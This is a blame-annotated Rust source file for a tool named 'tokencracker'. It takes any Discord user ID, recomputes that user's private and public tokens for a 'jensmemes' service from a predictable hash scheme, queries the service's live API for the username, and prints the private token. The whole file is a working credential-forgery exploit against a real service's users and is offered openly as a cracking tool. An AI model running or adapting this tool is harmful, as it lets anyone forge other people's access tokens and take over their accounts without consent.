2020-11-10 23:16:51 +01:00
|
|
|
use anyhow::Result;
|
|
|
|
use clap::{App, Arg};
|
|
|
|
use reqwest::{Client, Url};
|
2020-11-11 16:26:36 +01:00
|
|
|
use tokencracker::{api::{JensmemesUser, UserResponse}, hex_string_hash};
|
2020-11-10 23:16:51 +01:00
|
|
|
|
|
|
|
#[tokio::main]
|
|
|
|
async fn main() -> Result<()> {
|
|
|
|
let http = Client::builder().build()?;
|
|
|
|
|
|
|
|
let matches = App::new("tokencracker")
|
|
|
|
.arg(
|
|
|
|
Arg::with_name("discord_id")
|
|
|
|
.index(1)
|
|
|
|
.required(true)
|
|
|
|
.help("The discord ID of the user whos token to crack."),
|
|
|
|
)
|
|
|
|
.get_matches();
|
|
|
|
|
|
|
|
let id = matches.value_of("discord_id").unwrap();
|
|
|
|
|
|
|
|
// yes, this is the actual jensmemes token algorythm
|
|
|
|
let private = hex_string_hash(id);
|
|
|
|
let public = hex_string_hash(&private);
|
|
|
|
|
|
|
|
// get discord username from jensmemes API
|
|
|
|
let response = http
|
|
|
|
.get(Url::parse_with_params(
|
|
|
|
"https://data.tilera.xyz/api/jensmemes/user",
|
|
|
|
&[("id", &public)],
|
|
|
|
)?)
|
|
|
|
.send()
|
|
|
|
.await?;
|
|
|
|
|
2020-11-11 16:26:36 +01:00
|
|
|
let (username, userdir) =
|
2020-11-10 23:16:51 +01:00
|
|
|
if let (200..=210, Ok(usr)) = (response.status().as_u16(), response.bytes().await) {
|
2020-11-11 16:26:36 +01:00
|
|
|
let UserResponse { user: JensmemesUser {name, userdir, ..}, .. } = serde_json::from_slice::<UserResponse>(&usr)?;
|
|
|
|
(name, userdir)
|
2020-11-10 23:16:51 +01:00
|
|
|
} else {
|
2020-11-11 16:26:36 +01:00
|
|
|
("Not in Database".into(), public.clone())
|
2020-11-10 23:16:51 +01:00
|
|
|
};
|
|
|
|
|
|
|
|
println!(
|
|
|
|
"Username: {}
|
|
|
|
Public Token: {}
|
2020-11-11 16:26:36 +01:00
|
|
|
Private Token: {}
|
|
|
|
User: https://data.tilera.xyz/file/jensmemes/images/{}",
|
|
|
|
username, public, private, userdir
|
2020-11-10 23:16:51 +01:00
|
|
|
);
|
|
|
|
|
|
|
|
Ok(())
|
|
|
|
}
|